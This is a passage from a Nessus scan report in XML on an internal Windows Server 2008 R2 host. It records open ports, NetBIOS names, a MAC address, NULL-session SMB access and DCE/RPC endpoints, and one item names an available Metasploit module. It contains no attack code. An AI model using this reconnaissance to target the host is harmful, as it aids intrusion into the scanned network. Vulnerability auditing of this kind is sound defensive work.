7843 <plugin_name>Service Detection</plugin_name>
7844 <plugin_publication_date>2007/08/19</plugin_publication_date>
7845 <plugin_type>remote</plugin_type>
7846 <risk_factor>None</risk_factor>
7847 <script_version>$Revision: 1.123 $</script_version>
7848 <solution>n/a</solution>
7849 <synopsis>The remote service could be identified.</synopsis>
7850 <plugin_output>A web server is running on this port.</plugin_output>
7851 </ReportItem>
7852 <ReportItem port="0" svc_name="general" protocol="tcp" severity="0" pluginID="46215" pluginName="Inconsistent Hostname and IP Address" pluginFamily="Settings">
7853 <description>The name of this machine either does not resolve or resolves to a different IP address.
7854
7855 This may come from a badly configured reverse DNS or from a host file in use on the Nessus scanning host.
7856
7857 As a result, URLs in plugin output may not be directly usable in a web browser and some web tests may be incomplete.</description>
7858 <fname>bad_rdns.nasl</fname>
7859 <plugin_modification_date>2011/10/06</plugin_modification_date>
7860 <plugin_name>Inconsistent Hostname and IP Address</plugin_name>
7861 <plugin_publication_date>2010/05/03</plugin_publication_date>
7862 <plugin_type>remote</plugin_type>
7863 <risk_factor>None</risk_factor>
7864 <script_version>1.6</script_version>
7865 <solution>Fix the reverse DNS or host file.</solution>
7866 <synopsis>The remote host&apos;s hostname is not consistent with DNS information.</synopsis>
7867 <plugin_output>The host name &apos;qa3app04&apos; does not resolve to an IP address</plugin_output>
7868 </ReportItem>
7869 <ReportItem port="0" svc_name="general" protocol="tcp" severity="0" pluginID="12053" pluginName="Host Fully Qualified Domain Name (FQDN) Resolution" pluginFamily="General">
7870 <description>Nessus was able to resolve the FQDN of the remote host.</description>
7871 <fname>fqdn.nasl</fname>
7872 <plugin_modification_date>2012/09/28</plugin_modification_date>
7873 <plugin_name>Host Fully Qualified Domain Name (FQDN) Resolution</plugin_name>
7874 <plugin_publication_date>2004/02/11</plugin_publication_date>
7875 <plugin_type>remote</plugin_type>
7876 <risk_factor>None</risk_factor>
7877 <script_version>$Revision: 1.12 $</script_version>
7878 <solution>n/a</solution>
7879 <synopsis>It was possible to resolve the name of the remote host.</synopsis>
7880 <plugin_output>
7881 10.31.112.24 resolves as qa3app04.
7882 </plugin_output>
7883 </ReportItem>
7884 <ReportItem port="0" svc_name="general" protocol="udp" severity="0" pluginID="10287" pluginName="Traceroute Information" pluginFamily="General">
7885 <description>Makes a traceroute to the remote host.</description>
7886 <fname>traceroute.nasl</fname>
7887 <plugin_modification_date>2013/04/11</plugin_modification_date>
7888 <plugin_name>Traceroute Information</plugin_name>
7889 <plugin_publication_date>1999/11/27</plugin_publication_date>
7890 <plugin_type>remote</plugin_type>
7891 <risk_factor>None</risk_factor>
7892 <script_version>1.62</script_version>
7893 <solution>n/a</solution>
7894 <synopsis>It was possible to obtain traceroute information.</synopsis>
7895 <plugin_output>For your information, here is the traceroute from 172.16.138.174 to 10.31.112.24 :
7896 172.16.138.174
7897 172.16.138.2
7898 10.31.112.24
7899 </plugin_output>
7900 </ReportItem>
7901 <ReportItem port="0" svc_name="general" protocol="tcp" severity="0" pluginID="24786" pluginName="Nessus Windows Scan Not Performed with Admin Privileges" pluginFamily="Settings">
7902 <cpe>cpe:/o:microsoft:windows</cpe>
7903 <description>The Nessus scanner testing the remote host has been given SMB credentials to log into the remote host, however these credentials do not have administrative privileges.
7904
7905 Typically, when Nessus performs a patch audit, it logs into the remote host and reads the version of the DLLs on the remote host to determine if a given patch has been applied or not. This is the method Microsoft recommends to determine if a patch has been applied.
7906
7907 If your Nessus scanner does not have administrative privileges when doing a scan, then Nessus has to fall back to perform a patch audit through the registry which may lead to false positives (especially when using third-party patch auditing tools) or to false negatives (not all patches can be detected through the registry).</description>
7908 <fname>smb_scan_not_admin.nasl</fname>
7909 <plugin_modification_date>2013/01/07</plugin_modification_date>
7910 <plugin_name>Nessus Windows Scan Not Performed with Admin Privileges</plugin_name>
7911 <plugin_publication_date>2007/03/12</plugin_publication_date>
7912 <plugin_type>local</plugin_type>
7913 <risk_factor>None</risk_factor>
7914 <script_version>$Revision: 1.11 $</script_version>
7915 <solution>Reconfigure your scanner to use credentials with administrative privileges.</solution>
7916 <synopsis>The Nessus scan of this host may be incomplete due to insufficient privileges provided.</synopsis>
7917 <plugin_output>
7918 It was not possible to connect to &apos;\\QA3APP04\ADMIN$&apos; with the supplied credentials.
7919 </plugin_output>
7920 </ReportItem>
7921 <ReportItem port="445" svc_name="cifs" protocol="tcp" severity="0" pluginID="26917" pluginName="Microsoft Windows SMB Registry : Nessus Cannot Access the Windows Registry" pluginFamily="Windows">
7922 <description>It was not possible to connect to PIPE\winreg on the remote host.
7923
7924 If you intend to use Nessus to perform registry-based checks, the registry checks will not work because the &apos;Remote Registry Access&apos; service (winreg) has been disabled on the remote host or can not be connected to with the supplied credentials.</description>
7925 <fname>smb_registry_fail.nasl</fname>
7926 <plugin_modification_date>2011/03/27</plugin_modification_date>
7927 <plugin_name>Microsoft Windows SMB Registry : Nessus Cannot Access the Windows Registry</plugin_name>
7928 <plugin_publication_date>2007/10/04</plugin_publication_date>
7929 <plugin_type>local</plugin_type>
7930 <risk_factor>None</risk_factor>
7931 <script_version>$Revision: 1.10 $</script_version>
7932 <solution>n/a</solution>
7933 <synopsis>Nessus is not able to access the remote Windows Registry.</synopsis>
7934 <plugin_output>Could not connect to the registry because:
7935 Could not connect to \winreg</plugin_output>
7936 </ReportItem>
7937 <ReportItem port="3389" svc_name="msrdp" protocol="tcp" severity="0" pluginID="11219" pluginName="Nessus SYN scanner" pluginFamily="Port scanners">
7938 <description>This plugin is a SYN &apos;half-open&apos; port scanner.
7939 It shall be reasonably quick even against a firewalled target.
7940
7941 Note that SYN scanners are less intrusive than TCP (full connect) scanners against broken services, but they might kill lame misconfigured firewalls. They might also leave unclosed connections on the remote target, if the network is loaded.</description>
7942 <fname>nessus_syn_scanner.nbin</fname>
7943 <plugin_modification_date>2011/04/05</plugin_modification_date>
7944 <plugin_name>Nessus SYN scanner</plugin_name>
7945 <plugin_type>remote</plugin_type>
7946 <risk_factor>None</risk_factor>
7947 <script_version>$Revision: 1.14 $</script_version>
7948 <solution>Protect your target with an IP filter.</solution>
7949 <synopsis>It is possible to determine which TCP ports are open.</synopsis>
7950 <plugin_output>Port 3389/tcp was found to be open</plugin_output>
7951 </ReportItem>
7952 <ReportItem port="445" svc_name="cifs" protocol="tcp" severity="0" pluginID="11219" pluginName="Nessus SYN scanner" pluginFamily="Port scanners">
7953 <description>This plugin is a SYN &apos;half-open&apos; port scanner.
7954 It shall be reasonably quick even against a firewalled target.
7955
7956 Note that SYN scanners are less intrusive than TCP (full connect) scanners against broken services, but they might kill lame misconfigured firewalls. They might also leave unclosed connections on the remote target, if the network is loaded.</description>
7957 <fname>nessus_syn_scanner.nbin</fname>
7958 <plugin_modification_date>2011/04/05</plugin_modification_date>
7959 <plugin_name>Nessus SYN scanner</plugin_name>
7960 <plugin_type>remote</plugin_type>
7961 <risk_factor>None</risk_factor>
7962 <script_version>$Revision: 1.14 $</script_version>
7963 <solution>Protect your target with an IP filter.</solution>
7964 <synopsis>It is possible to determine which TCP ports are open.</synopsis>
7965 <plugin_output>Port 445/tcp was found to be open</plugin_output>
7966 </ReportItem>
7967 <ReportItem port="80" svc_name="www" protocol="tcp" severity="0" pluginID="11219" pluginName="Nessus SYN scanner" pluginFamily="Port scanners">
7968 <description>This plugin is a SYN &apos;half-open&apos; port scanner.
7969 It shall be reasonably quick even against a firewalled target.
7970
7971 Note that SYN scanners are less intrusive than TCP (full connect) scanners against broken services, but they might kill lame misconfigured firewalls. They might also leave unclosed connections on the remote target, if the network is loaded.</description>
7972 <fname>nessus_syn_scanner.nbin</fname>
7973 <plugin_modification_date>2011/04/05</plugin_modification_date>
7974 <plugin_name>Nessus SYN scanner</plugin_name>
7975 <plugin_type>remote</plugin_type>
7976 <risk_factor>None</risk_factor>
7977 <script_version>$Revision: 1.14 $</script_version>
7978 <solution>Protect your target with an IP filter.</solution>
7979 <synopsis>It is possible to determine which TCP ports are open.</synopsis>
7980 <plugin_output>Port 80/tcp was found to be open</plugin_output>
7981 </ReportItem>
7982 <ReportItem port="135" svc_name="epmap" protocol="tcp" severity="0" pluginID="11219" pluginName="Nessus SYN scanner" pluginFamily="Port scanners">
7983 <description>This plugin is a SYN &apos;half-open&apos; port scanner.
7984 It shall be reasonably quick even against a firewalled target.
7985
7986 Note that SYN scanners are less intrusive than TCP (full connect) scanners against broken services, but they might kill lame misconfigured firewalls. They might also leave unclosed connections on the remote target, if the network is loaded.</description>
7987 <fname>nessus_syn_scanner.nbin</fname>
7988 <plugin_modification_date>2011/04/05</plugin_modification_date>
7989 <plugin_name>Nessus SYN scanner</plugin_name>
7990 <plugin_type>remote</plugin_type>
7991 <risk_factor>None</risk_factor>
7992 <script_version>$Revision: 1.14 $</script_version>
7993 <solution>Protect your target with an IP filter.</solution>
7994 <synopsis>It is possible to determine which TCP ports are open.</synopsis>
7995 <plugin_output>Port 135/tcp was found to be open</plugin_output>
7996 </ReportItem>
7997 <ReportItem port="139" svc_name="smb" protocol="tcp" severity="0" pluginID="11219" pluginName="Nessus SYN scanner" pluginFamily="Port scanners">
7998 <description>This plugin is a SYN &apos;half-open&apos; port scanner.
7999 It shall be reasonably quick even against a firewalled target.
8000
8001 Note that SYN scanners are less intrusive than TCP (full connect) scanners against broken services, but they might kill lame misconfigured firewalls. They might also leave unclosed connections on the remote target, if the network is loaded.</description>
8002 <fname>nessus_syn_scanner.nbin</fname>
8003 <plugin_modification_date>2011/04/05</plugin_modification_date>
8004 <plugin_name>Nessus SYN scanner</plugin_name>
8005 <plugin_type>remote</plugin_type>
8006 <risk_factor>None</risk_factor>
8007 <script_version>$Revision: 1.14 $</script_version>
8008 <solution>Protect your target with an IP filter.</solution>
8009 <synopsis>It is possible to determine which TCP ports are open.</synopsis>
8010 <plugin_output>Port 139/tcp was found to be open</plugin_output>
8011 </ReportItem>
8012 <ReportItem port="445" svc_name="cifs" protocol="tcp" severity="0" pluginID="10394" pluginName="Microsoft Windows SMB Log In Possible" pluginFamily="Windows">
8013 <description>The remote host is running Microsoft Windows operating system or Samba, a CIFS/SMB server for Unix. It was possible to log into it using one of the following accounts :
8014
8015 - NULL session
8016 - Guest account
8017 - Given Credentials</description>
8018 <exploit_available>true</exploit_available>
8019 <exploit_framework_metasploit>true</exploit_framework_metasploit>
8020 <exploitability_ease>Exploits are available</exploitability_ease>
8021 <fname>smb_login.nasl</fname>
8022 <metasploit_name>Microsoft Windows Authenticated User Code Execution</metasploit_name>
8023 <plugin_modification_date>2013/04/23</plugin_modification_date>
8024 <plugin_name>Microsoft Windows SMB Log In Possible</plugin_name>
8025 <plugin_publication_date>2000/05/09</plugin_publication_date>
8026 <plugin_type>remote</plugin_type>
8027 <risk_factor>None</risk_factor>
8028 <script_version>$Revision: 1.136 $</script_version>
8029 <see_also>http://support.microsoft.com/kb/143474
8030 http://support.microsoft.com/kb/246261</see_also>
8031 <solution>n/a</solution>
8032 <synopsis>It is possible to log into the remote host.</synopsis>
8033 <vuln_publication_date>1999/01/01</vuln_publication_date>
8034 <plugin_output>- NULL sessions are enabled on the remote host
8035 </plugin_output>
8036 </ReportItem>
8037 <ReportItem port="445" svc_name="cifs" protocol="tcp" severity="0" pluginID="10785" pluginName="Microsoft Windows SMB NativeLanManager Remote System Information Disclosure" pluginFamily="Windows">
8038 <description>It is possible to get the remote operating system name and version (Windows and/or Samba) by sending an authentication request to port 139 or 445.</description>
8039 <fname>smb_nativelanman.nasl</fname>
8040 <plugin_modification_date>2013/06/25</plugin_modification_date>
8041 <plugin_name>Microsoft Windows SMB NativeLanManager Remote System Information Disclosure</plugin_name>
8042 <plugin_publication_date>2001/10/17</plugin_publication_date>
8043 <plugin_type>remote</plugin_type>
8044 <risk_factor>None</risk_factor>
8045 <script_version>$Revision: 1.40 $</script_version>
8046 <solution>n/a</solution>
8047 <synopsis>It is possible to obtain information about the remote operating system.</synopsis>
8048 <plugin_output>The remote Operating System is : Windows Server 2008 R2 Standard 7601 Service Pack 1
8049 The remote native lan manager is : Windows Server 2008 R2 Standard 6.1
8050 The remote SMB Domain Name is : RB
8051 </plugin_output>
8052 </ReportItem>
8053 <ReportItem port="137" svc_name="netbios-ns" protocol="udp" severity="0" pluginID="10150" pluginName="Windows NetBIOS / SMB Remote Host Information Disclosure" pluginFamily="Windows">
8054 <description>The remote host listens on UDP port 137 or TCP port 445 and replies to NetBIOS nbtscan or SMB requests.
8055
8056 Note that this plugin gathers information to be used in other plugins but does not itself generate a report.</description>
8057 <fname>netbios_name_get.nasl</fname>
8058 <plugin_modification_date>2013/01/16</plugin_modification_date>
8059 <plugin_name>Windows NetBIOS / SMB Remote Host Information Disclosure</plugin_name>
8060 <plugin_publication_date>1999/10/12</plugin_publication_date>
8061 <plugin_type>remote</plugin_type>
8062 <risk_factor>None</risk_factor>
8063 <script_version>$Revision: 1.77 $</script_version>
8064 <solution>n/a</solution>
8065 <synopsis>It is possible to obtain the network name of the remote host.</synopsis>
8066 <plugin_output>The following 3 NetBIOS names have been gathered :
8067
8068 RB = Workgroup / Domain name
8069 QA3APP04 = Computer name
8070 QA3APP04 = File Server Service
8071
8072 The remote host has the following MAC address on its adapter :
8073
8074 00:50:56:81:01:dd</plugin_output>
8075 </ReportItem>
8076 <ReportItem port="49152" svc_name="dce-rpc" protocol="tcp" severity="0" pluginID="10736" pluginName="DCE Services Enumeration" pluginFamily="Windows">
8077 <description>By sending a Lookup request to the portmapper (TCP 135 or epmapper PIPE) it was possible to enumerate the Distributed Computing Environment (DCE) services running on the remote port.
8078 Using this information it is possible to connect and bind to each service by sending an RPC request to the remote port/pipe.</description>
8079 <fname>dcetest.nasl</fname>
8080 <plugin_modification_date>2012/01/31</plugin_modification_date>
8081 <plugin_name>DCE Services Enumeration</plugin_name>
8082 <plugin_publication_date>2001/08/26</plugin_publication_date>
8083 <plugin_type>local</plugin_type>
8084 <risk_factor>None</risk_factor>
8085 <script_version>$Revision: 1.50 $</script_version>
8086 <solution>n/a</solution>
8087 <synopsis>A DCE/RPC service is running on the remote host.</synopsis>
8088 <plugin_output>
8089 The following DCERPC services are available on TCP port 49152 :
8090
8091 Object UUID : 765294ba-60bc-48b8-92e9-89fd77769d91
8092 UUID : d95afe70-a6d5-4259-822e-2c84da1ddb0d, version 1.0
8093 Description : Unknown RPC service
8094 Type : Remote RPC service
8095 TCP Port : 49152
8096 IP : 10.31.112.24
8097
8098 </plugin_output>
8099 </ReportItem>
8100 <ReportItem port="49153" svc_name="dce-rpc" protocol="tcp" severity="0" pluginID="10736" pluginName="DCE Services Enumeration" pluginFamily="Windows">
8101 <description>By sending a Lookup request to the portmapper (TCP 135 or epmapper PIPE) it was possible to enumerate the Distributed Computing Environment (DCE) services running on the remote port.
8102 Using this information it is possible to connect and bind to each service by sending an RPC request to the remote port/pipe.</description>
8103 <fname>dcetest.nasl</fname>
8104 <plugin_modification_date>2012/01/31</plugin_modification_date>
8105 <plugin_name>DCE Services Enumeration</plugin_name>
8106 <plugin_publication_date>2001/08/26</plugin_publication_date>
8107 <plugin_type>local</plugin_type>
8108 <risk_factor>None</risk_factor>
8109 <script_version>$Revision: 1.50 $</script_version>
8110 <solution>n/a</solution>
8111 <synopsis>A DCE/RPC service is running on the remote host.</synopsis>
8112 <plugin_output>
8113 The following DCERPC services are available on TCP port 49153 :
8114
8115 Object UUID : 00000000-0000-0000-0000-000000000000
8116 UUID : 3c4728c5-f0ab-448b-bda1-6ce01eb0a6d5, version 1.0
8117 Description : DHCP Client Service
8118 Windows process : svchost.exe
8119 Annotation : DHCP Client LRPC Endpoint
8120 Type : Remote RPC service
8121 TCP Port : 49153
8122 IP : 10.31.112.24
8123
8124 Object UUID : 00000000-0000-0000-0000-000000000000
8125 UUID : f6beaff7-1e19-4fbb-9f8f-b89e2018337c, version 1.0
8126 Description : Unknown RPC service
8127 Annotation : Event log TCPIP
8128 Type : Remote RPC service
8129 TCP Port : 49153
8130 IP : 10.31.112.24
8131
8132 Object UUID : 00000000-0000-0000-0000-000000000000
8133 UUID : 30adc50c-5cbc-46ce-9a0e-91914789e23c, version 1.0
8134 Description : Unknown RPC service
8135 Annotation : NRP server endpoint
8136 Type : Remote RPC service
8137 TCP Port : 49153
8138 IP : 10.31.112.24
8139
8140 Object UUID : 00000000-0000-0000-0000-000000000000
8141 UUID : 3c4728c5-f0ab-448b-bda1-6ce01eb0a6d6, version 1.0
8142 Description : Unknown RPC service
8143 Annotation : DHCPv6 Client LRPC Endpoint
8144 Type : Remote RPC service
8145 TCP Port : 49153
8146 IP : 10.31.112.24
8147
8148 </plugin_output>
8149 </ReportItem>
8150 <ReportItem port="49251" svc_name="dce-rpc" protocol="tcp" severity="0" pluginID="10736" pluginName="DCE Services Enumeration" pluginFamily="Windows">
8151 <description>By sending a Lookup request to the portmapper (TCP 135 or epmapper PIPE) it was possible to enumerate the Distributed Computing Environment (DCE) services running on the remote port.
8152 Using this information it is possible to connect and bind to each service by sending an RPC request to the remote port/pipe.</description>
8153 <fname>dcetest.nasl</fname>
8154 <plugin_modification_date>2012/01/31</plugin_modification_date>
8155 <plugin_name>DCE Services Enumeration</plugin_name>
8156 <plugin_publication_date>2001/08/26</plugin_publication_date>
8157 <plugin_type>local</plugin_type>
8158 <risk_factor>None</risk_factor>
8159 <script_version>$Revision: 1.50 $</script_version>
8160 <solution>n/a</solution>
8161 <synopsis>A DCE/RPC service is running on the remote host.</synopsis>
8162 <plugin_output>
8163 The following DCERPC services are available on TCP port 49251 :
8164
8165 Object UUID : 00000000-0000-0000-0000-000000000000
8166 UUID : 367abb81-9844-35f1-ad32-98f038001003, version 2.0
8167 Description : Unknown RPC service
8168 Type : Remote RPC service
8169 TCP Port : 49251
8170 IP : 10.31.112.24
8171
8172 </plugin_output>
8173 </ReportItem>
8174 <ReportItem port="49176" svc_name="dce-rpc" protocol="tcp" severity="0" pluginID="10736" pluginName="DCE Services Enumeration" pluginFamily="Windows">
8175 <description>By sending a Lookup request to the portmapper (TCP 135 or epmapper PIPE) it was possible to enumerate the Distributed Computing Environment (DCE) services running on the remote port.
8176 Using this information it is possible to connect and bind to each service by sending an RPC request to the remote port/pipe.</description>
8177 <fname>dcetest.nasl</fname>
8178 <plugin_modification_date>2012/01/31</plugin_modification_date>
8179 <plugin_name>DCE Services Enumeration</plugin_name>
8180 <plugin_publication_date>2001/08/26</plugin_publication_date>
8181 <plugin_type>local</plugin_type>
8182 <risk_factor>None</risk_factor>
8183 <script_version>$Revision: 1.50 $</script_version>
8184 <solution>n/a</solution>
8185 <synopsis>A DCE/RPC service is running on the remote host.</synopsis>
8186 <plugin_output>
8187 The following DCERPC services are available on TCP port 49176 :
8188
8189 Object UUID : 00000000-0000-0000-0000-000000000000
8190 UUID : 12345778-1234-abcd-ef00-0123456789ac, version 1.0
8191 Description : Security Account Manager
8192 Windows process : lsass.exe
8193 Type : Remote RPC service
8194 TCP Port : 49176
8195 IP : 10.31.112.24
8196
8197 </plugin_output>
8198 </ReportItem>
8199 <ReportItem port="49154" svc_name="dce-rpc" protocol="tcp" severity="0" pluginID="10736" pluginName="DCE Services Enumeration" pluginFamily="Windows">
8200 <description>By sending a Lookup request to the portmapper (TCP 135 or epmapper PIPE) it was possible to enumerate the Distributed Computing Environment (DCE) services running on the remote port.
8201 Using this information it is possible to connect and bind to each service by sending an RPC request to the remote port/pipe.</description>
8202 <fname>dcetest.nasl</fname>
8203 <plugin_modification_date>2012/01/31</plugin_modification_date>
8204 <plugin_name>DCE Services Enumeration</plugin_name>
8205 <plugin_publication_date>2001/08/26</plugin_publication_date>
8206 <plugin_type>local</plugin_type>
8207 <risk_factor>None</risk_factor>
8208 <script_version>$Revision: 1.50 $</script_version>
8209 <solution>n/a</solution>
8210 <synopsis>A DCE/RPC service is running on the remote host.</synopsis>
8211 <plugin_output>
8212 The following DCERPC services are available on TCP port 49154 :
8213
8214 Object UUID : 00000000-0000-0000-0000-000000000000
8215 UUID : 86d35949-83c9-4044-b424-db363231fd0c, version 1.0
8216 Description : Unknown RPC service
8217 Type : Remote RPC service
8218 TCP Port : 49154
8219 IP : 10.31.112.24
8220
8221 Object UUID : 00000000-0000-0000-0000-000000000000
8222 UUID : a398e520-d59a-4bdd-aa7a-3c1e0303a511, version 1.0
8223 Description : Unknown RPC service
8224 Annotation : IKE/Authip API
8225 Type : Remote RPC service
8226 TCP Port : 49154
8227 IP : 10.31.112.24
8228
8229 Object UUID : 00000000-0000-0000-0000-000000000000
8230 UUID : 552d076a-cb29-4e44-8b6a-d15e59e2c0af, version 1.0
8231 Description : Unknown RPC service
8232 Annotation : IP Transition Configuration endpoint
8233 Type : Remote RPC service
8234 TCP Port : 49154
8235 IP : 10.31.112.24
8236
8237 Object UUID : 00000000-0000-0000-0000-000000000000
8238 UUID : 98716d03-89ac-44c7-bb8c-285824e51c4a, version 1.0
8239 Description : Unknown RPC service
8240 Annotation : XactSrv service
8241 Type : Remote RPC service
8242 TCP Port : 49154
8243 IP : 10.31.112.24
8244
8245 Object UUID : 73736573-6f69-656e-6e76-000000000000
8246 UUID : c9ac6db5-82b7-4e55-ae8a-e464ed7b4277, version 1.0
8247 Description : Unknown RPC service
8248 Annotation : Impl friendly name
8249 Type : Remote RPC service
8250 TCP Port : 49154
8251 IP : 10.31.112.24
8252
8253 Object UUID : 00000000-0000-0000-0000-000000000000
8254 UUID : 30b044a5-a225-43f0-b3a4-e060df91f9c1, version 1.0
8255 Description : Unknown RPC service
8256 Type : Remote RPC service
8257 TCP Port : 49154
8258 IP : 10.31.112.24
8259
8260 </plugin_output>
8261 </ReportItem>
8262 <ReportItem port="49252" svc_name="dce-rpc" protocol="tcp" severity="0" pluginID="10736" pluginName="DCE Services Enumeration" pluginFamily="Windows">
8263 <description>By sending a Lookup request to the portmapper (TCP 135 or epmapper PIPE) it was possible to enumerate the Distributed Computing Environment (DCE) services running on the remote port.
8264 Using this information it is possible to connect and bind to each service by sending an RPC request to the remote port/pipe.</description>
8265 <fname>dcetest.nasl</fname>
8266 <plugin_modification_date>2012/01/31</plugin_modification_date>
8267 <plugin_name>DCE Services Enumeration</plugin_name>
8268 <plugin_publication_date>2001/08/26</plugin_publication_date>
8269 <plugin_type>local</plugin_type>
8270 <risk_factor>None</risk_factor>
8271 <script_version>$Revision: 1.50 $</script_version>
8272 <solution>n/a</solution>
8273 <synopsis>A DCE/RPC service is running on the remote host.</synopsis>
8274 <plugin_output>
8275 The following DCERPC services are available on TCP port 49252 :
8276
8277 Object UUID : 00000000-0000-0000-0000-000000000000
8278 UUID : 6b5bdd1e-528c-422c-af8c-a4079be4fe48, version 1.0
8279 Description : Unknown RPC service
8280 Annotation : Remote Fw APIs
8281 Type : Remote RPC service
8282 TCP Port : 49252
8283 IP : 10.31.112.24
8284
8285 Object UUID : 00000000-0000-0000-0000-000000000000
8286 UUID : 12345678-1234-abcd-ef00-0123456789ab, version 1.0
8287 Description : IPsec Services (Windows XP &amp; 2003)
8288 Windows process : lsass.exe
8289 Annotation : IPSec Policy agent endpoint
8290 Type : Remote RPC service
8291 TCP Port : 49252
8292 IP : 10.31.112.24
8293
8294 </plugin_output>
8295 </ReportItem>
8296 <ReportItem port="445" svc_name="cifs" protocol="tcp" severity="0" pluginID="10736" pluginName="DCE Services Enumeration" pluginFamily="Windows">
8297 <description>By sending a Lookup request to the portmapper (TCP 135 or epmapper PIPE) it was possible to enumerate the Distributed Computing Environment (DCE) services running on the remote port.
8298 Using this information it is possible to connect and bind to each service by sending an RPC request to the remote port/pipe.</description>
8299 <fname>dcetest.nasl</fname>
8300 <plugin_modification_date>2012/01/31</plugin_modification_date>
8301 <plugin_name>DCE Services Enumeration</plugin_name>
8302 <plugin_publication_date>2001/08/26</plugin_publication_date>
8303 <plugin_type>local</plugin_type>
8304 <risk_factor>None</risk_factor>
8305 <script_version>$Revision: 1.50 $</script_version>
8306 <solution>n/a</solution>
8307 <synopsis>A DCE/RPC service is running on the remote host.</synopsis>
8308 <plugin_output>
8309 The following DCERPC services are available remotely :
8310
8311 Object UUID : 765294ba-60bc-48b8-92e9-89fd77769d91
8312 UUID : d95afe70-a6d5-4259-822e-2c84da1ddb0d, version 1.0
8313 Description : Unknown RPC service
8314 Type : Remote RPC service
8315 Named pipe : \PIPE\InitShutdown
8316 Netbios name : \\QA3APP04
8317
8318 Object UUID : b08669ee-8cb5-43a5-a017-84fe00000000
8319 UUID : 76f226c3-ec14-4325-8a99-6a46348418af, version 1.0
8320 Description : Unknown RPC service
8321 Type : Remote RPC service
8322 Named pipe : \PIPE\InitShutdown
8323 Netbios name : \\QA3APP04
8324
8325 Object UUID : 00000000-0000-0000-0000-000000000000
8326 UUID : 12345778-1234-abcd-ef00-0123456789ac, version 1.0
8327 Description : Security Account Manager
8328 Windows process : lsass.exe
8329 Type : Remote RPC service
8330 Named pipe : \pipe\lsass
8331 Netbios name : \\QA3APP04
8332
8333 Object UUID : 00000000-0000-0000-0000-000000000000
8334 UUID : 12345778-1234-abcd-ef00-0123456789ac, version 1.0
8335 Description : Security Account Manager
8336 Windows process : lsass.exe
8337 Type : Remote RPC service
8338 Named pipe : \PIPE\protected_storage
8339 Netbios name : \\QA3APP04
8340
8341 Object UUID : 00000000-0000-0000-0000-000000000000
8342 UUID : 3473dd4d-2e88-4006-9cba-22570909dd10, version 5.0
8343 Description : Unknown RPC service
8344 Annotation : WinHttp Auto-Proxy Service
8345 Type : Remote RPC service
8346 Named pipe : \PIPE\W32TIME_ALT
8347 Netbios name : \\QA3APP04
8348
8349 Object UUID : 00000000-0000-0000-0000-000000000000
8350 UUID : 1ff70682-0a51-30e8-076d-740be8cee98b, version 1.0
8351 Description : Scheduler Service
8352 Windows process : svchost.exe
8353 Type : Remote RPC service
8354 Named pipe : \PIPE\atsvc
8355 Netbios name : \\QA3APP04
8356
8357 Object UUID : 00000000-0000-0000-0000-000000000000
8358 UUID : 378e52b0-c0a9-11cf-822d-00aa0051e40f, version 1.0
8359 Description : Scheduler Service
8360 Windows process : svchost.exe
8361 Type : Remote RPC service
8362 Named pipe : \PIPE\atsvc
8363 Netbios name : \\QA3APP04
8364
8365 Object UUID : 00000000-0000-0000-0000-000000000000
8366 UUID : 86d35949-83c9-4044-b424-db363231fd0c, version 1.0
8367 Description : Unknown RPC service
8368 Type : Remote RPC service
8369 Named pipe : \PIPE\atsvc
8370 Netbios name : \\QA3APP04
8371
8372 Object UUID : 00000000-0000-0000-0000-000000000000
8373 UUID : a398e520-d59a-4bdd-aa7a-3c1e0303a511, version 1.0
8374 Description : Unknown RPC service
8375 Annotation : IKE/Authip API
8376 Type : Remote RPC service
8377 Named pipe : \PIPE\atsvc
8378 Netbios name : \\QA3APP04
8379
8380 Object UUID : 00000000-0000-0000-0000-000000000000
8381 UUID : 552d076a-cb29-4e44-8b6a-d15e59e2c0af, version 1.0
8382 Description : Unknown RPC service
8383 Annotation : IP Transition Configuration endpoint
8384 Type : Remote RPC service
8385 Named pipe : \PIPE\atsvc
8386 Netbios name : \\QA3APP04
8387
8388 Object UUID : 00000000-0000-0000-0000-000000000000
8389 UUID : 98716d03-89ac-44c7-bb8c-285824e51c4a, version 1.0
8390 Description : Unknown RPC service
8391 Annotation : XactSrv service
8392 Type : Remote RPC service
8393 Named pipe : \PIPE\atsvc
8394 Netbios name : \\QA3APP04
8395
8396 Object UUID : 73736573-6f69-656e-6e76-000000000000
8397 UUID : c9ac6db5-82b7-4e55-ae8a-e464ed7b4277, version 1.0
8398 Description : Unknown RPC service
8399 Annotation : Impl friendly name
8400 Type : Remote RPC service
8401 Named pipe : \PIPE\atsvc
8402 Netbios name : \\QA3APP04
8403
8404 Object UUID : 73736573-6f69-656e-6e76-000000000000
8405 UUID : c9ac6db5-82b7-4e55-ae8a-e464ed7b4277, version 1.0
8406 Description : Unknown RPC service
8407 Annotation : Impl friendly name
8408 Type : Remote RPC service
8409 Named pipe : \PIPE\srvsvc
8410 Netbios name : \\QA3APP04
8411
8412 Object UUID : 00000000-0000-0000-0000-000000000000
8413 UUID : 30b044a5-a225-43f0-b3a4-e060df91f9c1, version 1.0
8414 Description : Unknown RPC service
8415 Type : Remote RPC service
8416 Named pipe : \PIPE\atsvc
8417 Netbios name : \\QA3APP04
8418
8419 Object UUID : 00000000-0000-0000-0000-000000000000
8420 UUID : 30b044a5-a225-43f0-b3a4-e060df91f9c1, version 1.0
8421 Description : Unknown RPC service
8422 Type : Remote RPC service
8423 Named pipe : \PIPE\srvsvc
8424 Netbios name : \\QA3APP04
8425
8426 Object UUID : 00000000-0000-0000-0000-000000000000
8427 UUID : f6beaff7-1e19-4fbb-9f8f-b89e2018337c, version 1.0
8428 Description : Unknown RPC service
8429 Annotation : Event log TCPIP
8430 Type : Remote RPC service
8431 Named pipe : \pipe\eventlog
8432 Netbios name : \\QA3APP04
8433
8434 Object UUID : 00000000-0000-0000-0000-000000000000
8435 UUID : 30adc50c-5cbc-46ce-9a0e-91914789e23c, version 1.0
8436 Description : Unknown RPC service
8437 Annotation : NRP server endpoint
8438 Type : Remote RPC service
8439 Named pipe : \pipe\eventlog
8440 Netbios name : \\QA3APP04
8441
8442 Object UUID : 00000000-0000-0000-0000-000000000000
8443 UUID : 3c4728c5-f0ab-448b-bda1-6ce01eb0a6d6, version 1.0
8444 Description : Unknown RPC service
8445 Annotation : DHCPv6 Client LRPC Endpoint
8446 Type : Remote RPC service
8447 Named pipe : \pipe\eventlog
8448 Netbios name : \\QA3APP04
8449
8450 Object UUID : 00000000-0000-0000-0000-000000000000
8451 UUID : 3c4728c5-f0ab-448b-bda1-6ce01eb0a6d5, version 1.0
8452 Description : DHCP Client Service
8453 Windows process : svchost.exe
8454 Annotation : DHCP Client LRPC Endpoint
8455 Type : Remote RPC service
